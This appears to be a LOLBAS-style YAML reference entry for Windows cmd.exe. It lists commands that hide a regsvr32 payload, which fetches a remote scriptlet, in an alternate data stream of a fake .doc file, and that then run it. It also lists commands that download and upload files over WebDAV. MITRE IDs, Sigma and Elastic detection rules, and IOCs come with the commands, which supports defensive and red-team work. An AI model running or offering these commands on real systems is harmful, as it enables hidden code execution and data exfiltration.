---
Name: Cmd.exe
Description: The command-line interpreter in Windows
Author: Ye Yint Min Thu Htut
Created: 2019-06-26
Commands:
  - Command: cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat
    Description: Add content to an Alternate Data Stream (ADS).
    Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: cmd.exe - < fakefile.doc:payload.bat
    Description: Execute payload.bat stored in an Alternate Data Stream (ADS).
    Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
    Category: ADS
    Privileges: User
    MitreID: T1059.003
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: type \\webdav-server\folder\file.ext > C:\Path\file.ext
    Description: Downloads a specified file from a WebDAV server to the target file.
    Usecase: Download/copy a file from a WebDAV server
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: type C:\Path\file.ext > \\webdav-server\folder\file.ext
    Description: Uploads a specified file to a WebDAV server.
    Usecase: Upload a file to a WebDAV server
    Category: Upload
    Privileges: User
    MitreID: T1048.003
    OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
  - Path: C:\Windows\System32\cmd.exe
  - Path: C:\Windows\SysWOW64\cmd.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
  - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
  - IOC: cmd.exe executing files from alternate data streams.
  - IOC: cmd.exe creating/modifying file contents in an alternate data stream.
Resources:
  - Link: https://twitter.com/yeyint_mth/status/1143824979139579904
  - Link: https://twitter.com/Mr_0rng/status/1601408154780446721
  - Link: https://medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
  - Link: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type
Acknowledgement:
  - Person: r0lan
    Handle: '@yeyint_mth'
  - Person: Mr.0range
    Handle: '@mr_0rng'
